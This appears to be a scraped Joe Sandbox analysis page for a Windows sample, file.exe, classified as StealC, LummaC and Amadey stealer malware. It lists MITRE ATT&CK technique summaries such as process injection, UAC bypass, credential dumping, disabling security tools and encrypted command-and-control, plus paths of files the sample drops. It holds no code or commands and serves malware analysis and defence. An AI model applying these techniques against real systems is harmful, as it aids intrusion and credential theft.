Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\536e42fc8b.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\download[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\key[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\download[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre